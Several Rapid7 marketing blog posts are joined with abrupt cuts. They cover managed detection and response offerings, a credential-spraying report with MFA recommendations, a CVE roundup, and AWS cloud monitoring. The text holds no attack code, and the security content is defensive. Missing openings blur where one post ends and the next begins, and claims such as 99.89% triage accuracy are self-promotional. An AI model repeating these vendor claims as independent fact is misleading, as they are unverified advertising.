• Outcome: Fewer delays and less back-and-forth between teams. With Rapid7 handling the complete, end-to-end lifecycle of an alert, internal teams stay focused on business priorities, knowing remediation is being executed safely and effectively.

Setting the stage for remediation with Active Response

Remediation begins with strategic containment and detailed investigation. Rapid7’s Active Response enables rules-based quarantining of affected endpoints in the immediate aftermath of a credible threat detection. This stops lateral movement before it begins and preserves the system state for investigation.

Active Remediation builds directly on this foundation. By first containing the threat, we can then investigate confidently and move quickly to identify and remove malicious artifacts – mitigating the risk of reinfection or spread. The integrated workflow – from containment to investigation to remediation – helps ensure our response is not only fast, but precise.

Together, Active Response and Active Remediation form the cornerstone of a continuous response pipeline that reduces attacker dwell time, limits impact, and restores normal operations faster.

Unlimited incident response – now deeper than ever

Rapid7 MDR customers have long relied on Rapid7’s unlimited DFIR support to guide them through the most critical moments of a threat. That hands-on expertise – delivered without surprise fees, hourly caps, or the need to navigate third-party providers and tools – is a defining part of how we ensure customers receive the fastest, most comprehensive response possible.

Active Remediation builds on that foundation by closing the final gap in the response lifecycle. Where detection, containment, and investigation have long been Rapid7’s strengths, we can now fully execute on the next step: resolving the threat. This combination of expert-led triage with decisive, hands-on remediation, delivers a more unified, end-to-end response – minimizing delays, reducing reliance on your internal resources, and accelerating your path to recovery. It’s not just about reacting faster – it’s about responding smarter, start to finish.

More than a capability – it’s a commitment

The Rapid7 MDR service has always been built around standing shoulder to shoulder with our customers, especially when it matters most. As we expand this partnership through the finale of the detection and response lifecycle – taking action to remove threats, reduce disruption, and accelerate recovery – we do it with the same transparency, accountability, and respect for your control that defines every part of the Rapid7 experience. In the name of building true security resilience, partnership doesn’t end with guidance – it means staying with you all the way through to resolution. Active Remediation with Velociraptor is in closed early access and will roll out to MDR customers in mid-May. To learn more, please contact your account team or Cybersecurity Advisor.

1 gbhackers

Our MDR service provides powerful protection for thousands of organizations worldwide today. But as enterprise environments grow more distributed and unique, many security teams find themselves needing something more flexible—something that can be tightly aligned to their internal workflows, toolsets, and detection strategies.

That’s why we’re excited to introduce Rapid7 MDR for Enterprise—a fully managed, customized detection and response service designed to meet the complexity of the modern enterprise head-on.

Tailored Coverage to Extend Your Existing Security Program

MDR for Enterprise builds on the proven foundation of Rapid7’s MDR, layering on advanced customization and collaboration to meet highly specific enterprise needs:

• Custom Event Source Integration: Extend visibility to proprietary, vertical-specific, or legacy technologies that standard integrations don’t cover.
• Bring Your Own Logs: Monitor your own log sources, working with our Detection Engineering team to optimize signal fidelity and context.
• Tailored Detection Engineering: Rapid7 Detection Engineers design and tune detection rules that reflect your actual environment—not a theoretical model​.

Designed to Meet You Where You Are

Enterprise environments rarely look the same. Some rely on legacy infrastructure alongside modern cloud stacks. Others have industry-specific applications or internally developed tools that aren’t covered by typical MDR integrations. And many are already investing in their own detections or bringing in telemetry from a wide range of tools.

MDR for Enterprise is built to adapt to this complexity. It allows customers to bring their own log sources and extend monitoring into non-standard systems. Whether it's a homegrown application or a niche vertical-specific tool, we’ll build the integration and align detection logic to your context—not the other way around.

More Than a Vendor. A True Operational Partner.

One of the biggest differences with MDR for Enterprise is how we collaborate. This isn’t a black-box service or a reactive alert-forwarding engine. We work alongside your internal team to co-develop incident response protocols and continuous tuning cycles.

We’re not just another SOC you plug into—we’re a strategic extension of your security program. Through tightly integrated processes and regular reviews, your team and ours operate as one. That operational interlock ensures context is never lost, alerts are always actionable, and response is always aligned to your priorities.

Elevating the Tools You Already Trust

Enterprise security teams have made serious investments—in technology, in detection engineering, in internal processes. We’re not here to disrupt that. MDR for Enterprise is designed to enhance your existing ecosystem, not replace it.

We will partner with you to develop a custom monitoring solution for your business critical applications to meet your specific security uses cases  —from triage, to investigation, and response through our global SOC. This approach improves your ROI and creates a seamless bridge between your team’s internal expertise and our operational scale.

Enterprise-Ready, Without the Tradeoffs

With MDR for Enterprise, you don’t have to choose between visibility and control, speed and customization, or scale and support. You get a partner that understands enterprise complexity—and builds a service around it.

Ready to explore what tailored MDR could look like for your team? Reach out to the team or head to Rapid7 MDR for Enterprise to learn more.

This rapid volume of credential spraying was primarily designed to discover and compromise accounts not properly secured by multi-factor authentication (MFA). Out of just over a million unauthorized login attempts we observed, the distribution of originating traffic sources is similar to that previously seen in January 2025. Some of the most prominent nations serving as points of origin for these attempts are as follows:

• Brazil: 70%
• Venezuela: 3%
• Turkey: 3%
• Russia: 2%
• Argentina: 2%
• Mexico: 2%

Analysis of attempted initial access via compromised or absent MFA revealed a significant success rate for defenders’ security controls. Overwhelmingly, 73% of attempts resulted in account lockouts, with an additional 26% failing due to incorrect passwords. Account disabling accounted for 1% of failures. Critically, fewer than 1% of accounts were successfully compromised through brute-force attacks, highlighting the robust effectiveness of implemented credential brute-forcing prevention measures.

There is a heavy emphasis here on rapid-fire, repeated attempts to log in resulting in accounts eventually being locked. The small number of accounts being disabled could be an additional security step after too many attempts to log in, or simply that the person associated with the account has left the organization.

The misuse of FastHTTP to automate unauthorized logins at speed is just one aspect of a much broader problem: namely, the popularity of initial access to networks aided by a persistent lack of MFA for VPN, SaaS, and VDI products. Rapid7 expects to see this type of rapid-fire, brute force attack become more common as cloud authentication becomes more prevalent. It’s entirely possible threat actors will look to try similar account compromising attempts with other tools and libraries, and commonly abused user agent strings.

Incident Response Facts and Figures: Handing Attackers an Easy Victory

Rapid7 has consistently highlighted MFA as a primary concern across several threat research reports. By the midpoint of 2023, data for the first half of the year showed that 39% of incidents our managed services teams responded to had arisen from lax or lacking MFA. Our 2024 Threat Landscape blog highlighted that remote access to systems without MFA was responsible for 56% of incidents as an initial access vector, the largest driver of incidents overall.

The third quarter of 2024 saw 67% of incident responses involving abuse of valid accounts and missing or lax enforcement of MFA. This total sits at 57% for Q4 2024, in part because of a 22% increase in social engineering. Even without pausing to consider user agent-centric password spraying, this is a potentially dangerous combination for organizations not making the most of MFA-centric protection. If the brute forcing doesn’t get you, a social engineering campaign might just do the trick.

Why MFA Matters: The Consequences of “We’ll Set It up Later”

MFA is a key component of an overall Identity Access Management (IAM) strategy. If you’re not making use of it, then your overall defense is weakened against many of the most common threats out there, including:

• Phishing: The very best password you can muster is made entirely redundant if your employee hands it over to a phisher, whether via a forged website or a social engineering attack. One way to mitigate against this is to use a password manager, which will only automatically enter your details on a valid website. But what happens if your password manager’s master password is compromised, and all the logins contained within are exposed? One of the best ways to address this additional headache is MFA for all your accounts, including your password manager.
  
• Malware: Do you know what malware, password stealers, and keyloggers, love more than anything else? Grabbing all of those passwords stored in web browsers, or (in more serious cases) plain text files on the desktop and email drafts. Do you know what they don’t like? Having all of those perilous passwords protected with an additional layer of security. MFA could make the difference between compromise and data exfiltration versus, a last-minute save and a security training refresher.
  
  Credential stuffing: An unfortunate by-product of years of data breaches (often with phishing as the launchpad), roll-ups of new and ancient login details published online are a constant threat. It’s worth noting that it isn't just your current employees who could be on these lists—ex-employees with valid credentials are a cause for concern too.

Recommendations from Rapid7’s MDR and IR Experts

Here are some steps you can take now to improve your security posture and mitigate risk from attacks like these, courtesy of Rapid7’s MDR and IR experts:

• Implement multi-factor authentication (MFA) across all account types, including default, local, domain, and cloud accounts, to prevent unauthorized access, even if credentials are compromised.
  
• Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.
  
• Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage).
  
• Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. These audits should also include if default accounts have been enabled, or if new local accounts are created that have not been authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.
  
• Regularly audit user accounts for activity and deactivate or remove any that are no longer needed.
  
• Whenever possible and aligned with business requirements, disable legacy authentication for non-service accounts and users relying on it. Legacy authentication, which does not support MFA, should be replaced with modern authentication protocols.
  
• Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). Train users to only accept valid push notifications and to report suspicious push notifications.

You can’t go wrong with MFA

Imagine a scenario where your network is under fire from a worryingly high number of brute force attempts from across the globe, targeting your insecure accounts until just one is compromised. Now imagine that same scenario where everything is blocked by default, regional restrictions are applied, logins from user agents aren’t allowed, and all of your VPNs, your RDP, VDIs, and SaaS tools are secured with MFA.

This may feel like an overreaction to what you may view as an attack that looks like an edge case; however, consider that ransomware groups, alongside more commonly found malware authors and phishers, will also find you a significantly harder target to break as a result of these countermeasures being put in place. Please don’t end up in the inevitable percentage of organizations compromised due to missing MFA in our next threat research report; there’s no better time than now to think about building out a stronger security posture.

Eliminate blind spots with Exposure Management

Discover and protect sensitive data across hybrid environments

Keeping sensitive data secure across hybrid and multi-cloud environments isn’t easy—especially without clear visibility. Data gets misplaced, duplicated, or left exposed, making risk assessment and compliance difficult. Sensitive Data Discovery, our latest feature delivering clarity and control to your security data, can help.

Available as part of  Exposure Command and InsightCloudSec, Sensitive Data Discovery gives security teams real-time visibility into sensitive data, such as PII, financial data or customer records, across multi-cloud environments, helping identify exposures, prioritize risks, and take action faster.

With automated scanning and classification, you can pinpoint who has access to sensitive data, continuously monitor for exposures, and strengthen compliance while streamlining incident response. Learn more Sensitive Data Discovery  here.

Intelligent vulnerability prioritization with AI-driven CVSS Scoring

In February 2024, the National Vulnerability Database (NVD) stopped providing CVSS scores for all CVEs, creating a gap in risk assessment as vulnerabilities go unscored. To bridge this gap, we’ve introduced AI-Generated Risk Scoring in Exposure Command, which uses machine learning to supplement missing CVSS scores and ensure an immediate, accurate risk rating for all CVEs without manual analysis.

This AI/ML scoring ensures all vulnerabilities are properly assessed, helping you prioritize remediation efforts efficiently and strengthen your overall security posture with the right context and insights. Discover more about AI-driven CVSS Scoring here.

Prioritize risk and accelerate remediation of critical exposures

To effectively prioritize remediation efforts and reduce cyber risk, you need clear contextual information about your assets and vulnerabilities. Without this, you risk misclassifying the severity of vulnerabilities and wasting effort on low-priority issues while high-risk threats remain unaddressed.

Our newly expanded Surface Command and Remediation Hub integration embeds this necessary context about assets and vulnerabilities directly within the asset inventory and detail pages of Surface Command, providing:

• Faster mean-time-to-remediate (MTTR) by bringing prioritized remediation guidance directly to the pages your team is already working within in Surface Command.
• Deeper asset context at the time of remediation, including insights from third-party security and ITOps tooling.
• Improved collaboration by providing security teams and stakeholders with enriched context for quicker decision-making.

Learn more about how this integration can empower your team to act with confidence, ensuring that remediation efforts are focused on the vulnerabilities that matter most here.

MDR: A clear line of sight

New detection and response dashboard

Teams need a holistic view of threats, SOC activity, and response performance to have confidence in their program and communicate efficacy to leadership and stakeholders. Available for Managed Detection and Response customers, our new customizable Detection & Response Dashboard provides an executive-ready snapshot of your MDR program, offering real-time, easy-to-communicate insights into:

• Threat prioritization & alert trends: Analyze the volume of alerts by severity and identify the most common alert types to understand the highest-risk threats.
• Incident response efficiency: Threat pipeline visualization tracks how alerts progress to investigations and incidents, while mean time to begin investigating highlights response speed.
• Investigation & resolution metrics: Insights into closed alerts and investigations by priority and disposition help teams assess the effectiveness of their threat response and remediation efforts​.

Learn more about the dashboard in our blog.

Transparency in AI-driven security: AI Alert Triage decisioning

Artificial intelligence (AI) has transformed security operations, enabling faster detection and response. However, black-box AI decision-making can lead to uncertainty—why was an alert escalated or dismissed?

With Rapid7’s AI Alert Triage Transparency, MDR customers gain full visibility into the reasoning behind AI-driven security actions​, such as what factors influenced alert prioritization. You’ll also benefit from Rapid7’s AI triage’s 99.89% accuracy, reducing noise and giving you more time to focus on investigating real threats. Learn more about what this means for your organization here.

The latest intelligence from Rapid7 Labs

Emergent threat response: Real-time guidance for critical threats

Rapid7’s Emergent Threat Response (ETR) program from Rapid7 Labs delivers fast, expert analysis and first-rate security content for the highest-priority security threats to help both Rapid7 customers and the greater security community understand their exposure and act quickly to defend their networks against rising threats.

In Q1 2025, Rapid7’s ETR team provided expert analysis, InsightVM content, and mitigation guidance for a variety of notable vulnerabilities, including several that came under active attack. Q1 CVEs of note include:

• CVE-2025-1974, CVE-2025-24514, CVE-2025-1097, CVE-2025-1098, CVE-2025-24513: Multiple vulnerabilities in Ingress NGINX Controller for Kubernetes
• CVE-2025-29927: Notable vulnerabilities in Next.js (CVE-2025-29927) and CrushFTP
• CVE-2025-23120: Critical Veeam Backup & Replication RCE
• CVE-2025-24813: Apache Tomcat RCE (low exploitability)
• CVE-2025-22224, CVE-2025-22225, CVE-2025-22226: Multiple zero-day vulnerabilities in Broadcom VMware ESXi and other products
• CVE-2024-55591: Zero-day exploitation of Fortinet FortiOS
• CVE-2025-0282: Zero-day exploitation of Ivanti Connect Secure

Follow along here to see the latest emergent threat guidance from our team.

Technical assessments of CVEs in AttackerKB

This past quarter Rapid7 researchers also published additional vulnerability assessments in AttackerKB (Rapid7’s community platform for vulnerability research and threat data) to help customers and the community understand and prioritize notable CVEs:

• CVE-2024-12084: Heap-based buffer overflow in Rsync
• CVE-2025-0108: Path confusion vulnerability in Palo Alto Networks PAN-OS web service
• CVE-2024-57727: Unauthenticated path traversal in SimpleHelp RMM

Coordinated vulnerability disclosure

In February 2025, Rapid7 researchers discovered a novel vulnerability in PostgreSQL (now assigned CVE-2025-1094) while researching BeyondTrust CVE-2024-12356, which was exploited as a zero-day flaw in a high-profile attack on the U.S. Treasury Department.

In every scenario Rapid7 researchers tested, a successful exploit for BeyondTrust CVE-2024-12356 had to include exploitation of PostgreSQL CVE-2025-1094 in order to achieve remote code execution. See Rapid7’s full analysis of CVE-2024-12356 here and our disclosure of PostgreSQL CVE-2025-1094 here.

Stay tuned for more!

As always, we’re continuing to work on exciting product enhancements and releases throughout the year. Keep an eye on our blog and release notes as we continue to highlight the latest in product and service investments at Rapid7.

Scroll on – because there’s a new executive-level MDR performance dashboard that delivers it.

Just the right amount of information

Every day, our four global SOCs analyze and triage thousands of alerts – investigating incidents, informing remediation actions, and quarantining breached endpoints. This activity is then translated into strategic guidance by dedicated Cybersecurity Advisors, ensuring security leaders have the insights they need to stay ahead of threats.

To deliver on that commitment to transparency, we ensure that all of this activity takes place in InsightIDR, our next-gen SIEM and XDR platform that gives MDR customers a direct line of sight into security activity, logs, detections, and their security posture. You see what the SOC sees – every detection, alert, investigation, and response action across your environment.

To keep pace with the speed of modern adversaries and realize the value of their MDR program, security teams need a high-level, executive-ready snapshot that showcases program effectiveness, surfaces key trends, and enables informed decision-making.

Enter the Detection and Response Dashboard

A holistic view of your MDR program

The Detection and Response Dashboard provides a clear, high-level snapshot of your entire MDR program. The customizable and downloadable summary visualizes key metrics, helping teams quickly identify risks, trends, and security outcomes.

Clarity on How the SOC is Working for You

Designed to give security teams an at-a-glance understanding of how their MDR program is performing – breaking down everything from SOC activity and detection trends to response times and containment actions – the Dashboard distills the thousands of alerts and SOC activity that I mentioned earlier.

Offering a transparent lens into the day-to-day operations of Rapid7’s global SOCs, customers are given confidence in the behind-the-scenes work driving their MDR program. Instead of wondering whether threats are being seen or how decisions are made, customers can see the operational heartbeat of their service: what’s being triaged, when the SOC steps in, and how investigations unfold over time. This level of visibility helps customers trace the lifecycle of real threats through the eyes of the SOC — from detection to action — while also revealing patterns in analyst activity, responsiveness, and escalation. It bridges the gap between outsourced operations and internal accountability, allowing security teams to not only report on what’s being done, but understand how it’s being done and why.

Visualize and Understand Threat Trends Over Time

Threats don’t just appear and disappear – they evolve, shifting tactics and targeting different areas of your environment. The Detection and Response Dashboard surfaces key trends in the alerts and investigations processed by the SOC, mapping out attacker behaviors and identifying the most frequently targeted assets. By tracking how threats develop and where adversaries are focusing their efforts, security teams can better anticipate emerging risks and validate the impact of their security investments.

Security teams can use view and download summary information including:

• Threat Prioritization & Alert Trends: Analyze the volume of alerts by severity and identify the most common alert types to understand the highest-risk threats.
• Incident Response Efficiency: Threat pipeline visualization tracks how alerts progress to investigations and incidents, while mean time to begin investigating highlights response speed.
• Investigation & Resolution Metrics: Insights into closed alerts and investigations by priority and disposition help teams assess the effectiveness of their threat response and remediation efforts​.

For highly mature security teams, this level of insight offers a data-driven foundation for evolving defenses and prioritizing resources based on real-world threat activity. At the same time, the Dashboard remains accessible for teams earlier in their security journey, providing a clear, digestible view of security trends without overwhelming technical detail.

Demonstrate Your Security Program’s Value Internally

Proving the impact of a security program isn’t just about responding to threats – it’s about showcasing measurable progress. The Detection and Response Dashboard translates raw security data into compelling, digestible visuals, making it easier to communicate security performance to stakeholders at all levels.

By presenting security outcomes in a way that resonates across both technical and executive audiences, the Dashboardenables teams to align more effectively with IT and business leaders. This ensures that security investments and priorities are grounded in real data, not assumptions. And as MDR customers expand their security programs, integration with Asset Discovery allows teams to identify hidden assets and weave risk-aware insights directly into their broader security strategy.

The Next Step of ‘Seeing is Securing’ is Here

It’s now easier than ever to understand, track, and communicate the full scope and value of your security operations through your partnership with the Rapid7 SOC. If you’re not yet leveraging our MDR, you’re missing out on the most comprehensive approach to 24/7 SOC expertise, risk-aware threat detection, and unlimited incident response. Learn more about how Rapid7 MDR can strengthen your security program – get the details here.

Our Mission: Monitor 100% Of What Matters—Affordably

The Wave places a premium on detection engineering and coverage breadth. We agree that those factors matter, but for most organizations, success lies in balancing coverage breadth and depth, seamless scalability, and cost constraints. You shouldn't ingest data for the sake of it—doing so drives spiraling costs and complexity. Instead, you need measured, focused monitoring of the specific data that impacts your risk profile.

What sets Rapid7 apart is our deeper understanding of the attack surface—we collect and integrate more data about the state of each customer’s environment than any other MDR provider. By honing in on meaningful, high-fidelity sources rather than chasing noise, our platform minimizes false positives and unnecessary overhead, ensuring you get the best possible visibility.

A Deeply Integrated Approach: The Key To Scalable Security

Modern security operations demand an ecosystem that brings together data from not only your endpoints, but also your networks, clouds, identities, and third-party tools—without a budget meltdown. Rapid7’s Command Platform was built precisely for this purpose, anchoring on our Next-Gen SIEM and a flexible architecture that is both data-rich and cost-conscious.

Uniquely, we deliver a fully integrated MDR experience from end to end:

• Native SIEM Capabilities: Our platform correlates data across multiple attack surfaces, from the endpoint to the cloud, natively and in real time.
• Deep Tech Synergy: The same models that power our vulnerability management and attack surface analytics fuel our MDR, so you gain actionable insights without juggling multiple, disconnected vendors.
• In-Platform Partnership, Faster Resolution: Collaborate directly within the Command Platform with security veterans from our global SOC to augment internal teams and  accelerate investigations, reduce time to remediation, and build long-term resilience.

People + AI-Driven Efficiency: More Than Just Buzzwords

At Rapid7, AI isn’t a marketing tagline. We take a deliberate, responsible approach to AI and ML, building AI to power tangible improvements for our customers:

• Faster, High-Fidelity Detections: Through machine learning on massive volumes of behavioral data, we pinpoint real threats quickly and effectively.
• Enhanced Analyst Experience: Our AI-assisted investigations spotlight suspicious activity, giving our team immediate, context-rich information that saves you from chasing endless false positives.
• Transparent Partnership:We don’t hide behind a “black box.” Our security analysts operate out of the same platform and share their findings with you in real time—creating a genuinely collaborative environment rather than an outsourced service.

Going Beyond The Wave: A Blueprint For Resilient Security

• A True Partnership Model, Including Unlimited Incident Response: Our team acts as an extension of your own, giving you full-scale incident support at no extra cost. Security emergencies don’t respect budget approvals, so neither do we.
• Unparalleled Insight Into The Attack Surface: We combine comprehensive visibility (both external and internal) with continual intelligence on attacker techniques, providing deeper context on potential exposures. Stay tuned for more announcements in this area.
• Community Focus: Rapid7 proudly supports the broader cybersecurity community through key open-source projects like Metasploit and Velociraptor, keeping us close to innovative researchers and practitioners worldwide.

What’s Next: Continued MDR Innovation

We recognize some organizations may look at our placement in the Wave and wonder about Rapid7’s future roadmap. Rest assured, we’re just getting started:

• Extended Cloud & Identity Threat Coverage: From AWS to Azure to Google Cloud—and major identity platforms—we’re broadening our detection capabilities to reflect attackers’ evolving tactics.
• AI-Driven SOC Investments: Our upcoming releases significantly reduce alert noise and speed up investigations, leveraging context-based threat intelligence tailored to your specific environment.
• Deeper Integrations and Partnerships: We’ll continue building alliances with leading technologies so your existing tools—alongside our Command Platform—deliver holistic security without the bloat.
• See and Secure Your Attack Surface: Upcoming releases deepen our visibility into customer environments to secure the entire digital estate.

These enhancements begin rolling out next month, and we can’t wait to share how they further advance automated detection, rapid response, and proactive risk mitigation.

The Bottom Line: Effective, Affordable, and Scalable MDR

We prioritize what we know customers need. We’re focused on delivering a scalable, cost-effective MDR service that partners deeply with your team to optimize long-term resilience. If you need MDR that goes far beyond just the endpoint and beyond just outsourced alerting—and want to maintain your budget without sacrificing innovation—Rapid7 stands ready to transform your security operations.

Ready to explore how Rapid7 MDR can fit your needs?
Check out our Managed Threat Complete solution, MDR for Enterprise, or reach out to our team to learn how we can help scale your success. Let’s move past the checkbox approach to MDR—together.

This isn’t just an inconvenience — it’s a risk.

Pairing MDR with a Security Information and Event Management (SIEM) solution ensures complete transparency, enabling real-time investigation, historical threat hunting, compliance readiness, and deeper threat insights. If you don’t have full access to your security logs, you’re not truly in control of your cybersecurity strategy. And in today’s high-stakes environment, that’s simply not an option.

With Rapid7 MDR, you don’t just gain a service — you gain full access and control over your data, unlocking significant advantages for compliance, long-term strategy, and cross-platform analytics.

The Benefits of Owning your Data

When it comes to cybersecurity, data is everything. Logs, events, and alerts are the building blocks of threat detection, incident response, and forensic investigations. Owning your data, particularly with Rapid7’s 13-month data retention, empowers you in ways that vendor-locked solutions cannot match. Here’s how:

• Cross-platform analytics
  Modern security teams operate across cloud, hybrid, and on-prem environments. Owning your data means you can integrate security telemetry across platforms, enabling immediate answers and deeper correlations between systems for accurate threat detection.
• Compliance made easier
  Many industries require businesses to retain data for specific periods to meet regulatory standards such as GDPR, HIPAA, or PCI DSS. Rapid7’s extended data retention ensures you’re always audit-ready and compliant without relying on third-party intermediaries for log retrieval.
• Historical threat hunting and forensics
  Cyber threats evolve over time — sometimes laying dormant for months to manifest into an attack. With 13 months of historical data, the MDR service can trace attack patterns, uncover dormant threats, and conduct deep-dive forensic investigations to prevent repeat breaches. Advanced threats don’t just appear out of nowhere — long-term attack campaigns require long-term visibility. If you don’t know how an attacker got in, how can you ensure they won’t come back?

The hidden risks of limited data access

Many MDR providers operate in a “black box” model, where security data is siloed within their systems, restricting user access and limiting independent investigations. This lack of transparency not only creates dependency on the vendor but can also lead to serious security and operational risks:

• Slower incident response
  Seconds matter when attackers are inside your environment. Security teams can waste critical time waiting for an MDR provider to retrieve logs or investigate issues, delaying decisive action during cyberattacks.
• Reduced security visibility
  Cyber threats don’t operate in isolation. Without full data access, security teams miss critical patterns, struggle to correlate events, and lose the ability to conduct independent investigations. The result? A weakened security posture and increased attack exposure.
• Hindered cross-team collaboration
  Security isn’t just a SOC function — it requires collaboration with IT, compliance, risk, and leadership teams. When data is locked behind an MDR provider’s system, security teams cannot share insights or validate threats with other departments effectively. This slows down decision-making, creates blind spots across IT infrastructure, and reduces the organization’s ability to work as a unified team in responding to threats.
• Compliance gaps
  If an organization cannot independently access its logs, it may struggle to provide auditors with the necessary evidence for compliance frameworks like GDPR, HIPAA, DORA, NIS2, or PCI DSS.

Rapid7 MDR: Transparency and control

Rapid7’s MDR service offers transparent and unrestricted access to your data through InsightIDR, our cloud-native, next-gen SIEM built for both detection and response. Unlike traditional SIEMs that focus solely on log aggregation, InsightIDR actively identifies and prioritizes real threats by analyzing user and attacker behavior, leveraging deception technology, and utilizing built-in threat intelligence. This ensures not only full visibility but also rapid detection and response to advanced threats, helping security teams act faster. With Rapid7, you get:

• Real-time insights: Monitor and analyze security data in real-time for faster response to threats — no waiting for vendor-controlled access.
• Custom dashboards: Rapid7’s dashboards support operational and executive reporting, making it easier for security teams to collaborate with IT, compliance, and leadership on security progress, priorities, and effectiveness.
• Custom detections:  Security teams can create tailored detections across any data sent to InsightIDR based on their specific infrastructure, threat models, and business needs. This ensures that critical anomalies and suspicious behaviors don’t get lost in generic detection rules.
• Complete transparency: Audit every action taken by Rapid7 analysts and your SOC team plus see investigations and comments for transparency and collaboration.

Command the SIEM advantage: Context and correlation matter

A key differentiator of Rapid7 MDR is that InsightIDR is more than just a SIEM — it’s a next-gen detection and response platform. Many MDR solutions provide basic alerting but lack the advanced behavioral analytics and automated response capabilities of InsightIDR. By combining SIEM, user behavior analytics, deception technology, and automated response orchestration, InsightIDR proactively detects threats, correlates events across your environment, and enables faster, more precise response actions.

Without a SIEM, organizations struggle with:

• Limited visibility into user behavior, making it harder to detect insider threats or compromised accounts.
• No long-term correlation of security events, reducing the ability to uncover sophisticated, multi-stage attacks.
• Gaps in historical threat hunting, restricting security teams from investigating past incidents, identifying trends, and improving future defenses.

With InsightIDR, Rapid7 MDR goes beyond detection — it  provides comprehensive context, automation, and deep forensic capabilities that elevate an organization’s security maturity.

Take back command of your security data

In a world where vendor lock-in is common, maintaining ownership and access to your security data is not just a convenience, it’s a necessity. Without it, organizations risk compliance failures, slower response times, and reduced visibility into their own security posture.

With Rapid7 MDR, you’re not just subscribing to a service — you’re gaining a proactive security partner. You get unrestricted access, 13-month data retention, and real-time threat detection and response — ensuring compliance, faster incident containment, and smarter security decisions powered by InsightIDR’s built-in detection capabilities.

Don’t settle for an MDR solution that keeps you in the dark. Choose an approach that empowers your security team with full access and control over your data.

Ready to experience the difference? Learn more about Rapid7 MDR today.

This three-part series provides practical insights, expert advice, and actionable strategies for SOC teams. Featuring Rapid7’s leading experts and real-world case studies, the series covers everything from tackling incidents to building long-term resilience in your SOC.

Why Watch? Key Insights from the Series

Webinar 1: Securing Success: Spotlight on the SOC

Kicking off the series, this webinar offers a behind-the-scenes look at Rapid7’s SOC data and incident trends. Learn how attackers are leveraging cloud misconfigurations, exploiting vulnerabilities, and bypassing MFA. The session highlights actionable steps to detect these threats earlier and optimize your defenses.
Watch the Webinar

Webinar 2: Securing Success: Unlimited Incident Response

Dive into an in-depth case study of a ransomware attack and explore how Rapid7’s unlimited incident response service empowers teams to contain and recover from attacks. Discover the importance of leveraging tools like Velociraptor for forensic investigation, implementing robust containment measures, and prioritizing response actions to mitigate impact.
Watch the Webinar

Webinar 3: Securing Success: Strengthening Your SOC

In the series finale, Rapid7’s top experts, including Jaya Baloo and Raj Samani, address how to enhance SOC operations amidst rising attack volumes and evolving threats. From prioritizing vulnerabilities to leveraging curated threat intelligence, this session equips you with the strategies needed to strengthen your SOC and prepare for the future.
Watch the Webinar

Real Stories, Real Solutions

Each session delivers actionable insights through real-world examples and expert guidance:

• Improving Detection and Response: Learn how to identify attackers earlier by addressing common access methods like phishing, cloud misconfigurations, and unpatched vulnerabilities.
• Streamlining Incident Response: Explore Rapid7’s methodologies for tackling complex incidents, ensuring swift containment, and preventing future breaches.
• Building a Resilient SOC: Discover how threat intelligence, prioritization, and collaboration can help your team focus on what truly matters.

Take the Next Step in Protecting Your Organization

Your attack surface is growing, and defending it requires the right tools and the right team of experts by your side. Learn how Rapid7’s Managed Detection & Response can help your organization unify total risk and threat coverage and keep you secure around the clock.

Amplify your SOC with the insights and tools to outsmart emerging threats, zero-in on the high fidelity signals that threaten your organization, and expertly respond around the clock. Discover how to take command with Managed Threat Complete here.

As organizations increasingly rely on AWS for scalability and innovation, the complexity of securing these environments grows. AWS offers a robust set of native services and a comprehensive ecosystem, but managing security signals and responding to threats across dynamic workloads can overwhelm even the most well-equipped teams.

Rapid7’s Managed Extended Detection and Response (MXDR) service has focused on helping customers bridge this gap, unifying security telemetry from major cloud service providers including AWS and Azure, with expert-driven detection and response. With MXDR, organizations can confidently scale their cloud investments without sacrificing the comprehensive coverage they’re familiar with today.

Tailored to AWS Workloads and Modern Cloud Security Challenges

MXDR delivers the context and coverage needed to handle complex threats in AWS environments, providing a purpose-built service to address the specific challenges of securing modern cloud environments. With the extension of MXDR for AWS, teams can tailor their Rapid7 MXDR support to include triage, investigation, and response for critical GuardDuty alerts directly within their MDR service.

Layering native AWS telemetry with insights from other tools and environments creates a centralized, unified view of your security posture. With this context, our team is able to tailor protections and actions to the unique needs of your environment, safeguarding your assets more effectively against evolving threats. This comprehensive perspective empowers Rapid7 MDR analysts to operate at peak efficiency, ensuring your organization experiences a robust incident response lifecycle, from initial detection and alert triage to containment and response.

Augmenting Your Security Team with a Fleet of CDR Experts

Protecting your AWS environment doesn’t need to be a solo effort. With Rapid7 MXDR, you gain access to our extensive team of seasoned MDR analysts who diligently monitor, triage, and respond to incidents in real time, reducing operational burden. With an expert MDR team on call, teams are ready to contain incidents and limit blast radius. Customized mitigation and response strategies for AWS workloads, aligned with your unique environment and risk tolerance enables our team to provide clear insights, remediation guidance and future mitigation recommendations to improve security and drive executive buy-in for security investments.

By deeply integrating cloud risk context from our industry-leading CNAPP capabilities into the incident response workflow, our MDR analysts are equipped with environmental awareness needed to act more quickly on your behalf to stop attackers in their tracks.

Rapid7 MXDR eliminates the need for piecemeal tools and processes by delivering end-to-end security services that combine AWS-native telemetry with cross-platform intelligence. The result is comprehensive threat detection and mitigation across your AWS environments without the complexity of managing multiple tools, providing:

• Cloud Attack Surface Visibility and Advanced Threat Detection: Correlating AWS telemetry with global threat intelligence to build a dynamic map of your environment, uncover sophisticated attacks and spot avenues for lateral movement.
• Continuous Coverage and Proactive Threat Hunting: Lean on our team of seasoned SOC experts who monitor, triage, and respond to incidents in real time, reducing operational burden.
• Visibility into Cloud Identities, Their Permissions and Privileges: Monitor all cloud accounts and identities and proactively spot anomalous and potentially malicious user behavior, privilege escalations, or unusual API calls.
• AI-Assisted Triage with Risk-Aware Context: Automatic context enrichment for cloud alerts with the relevant information SOC analysts need to understand the posture of a compromised account or resource and prioritize response.

Take Command of Your AWS Security Today

Whether you’re protecting critical workloads or responding to active threats, Rapid7 managed XDR enables organizations to secure their AWS environments with confidence. From continuous monitoring to expert response, Rapid7 ensures your AWS assets remain protected while allowing your team to focus on driving business innovation.

Contact Rapid7 today to see how MXDR can elevate your AWS security posture.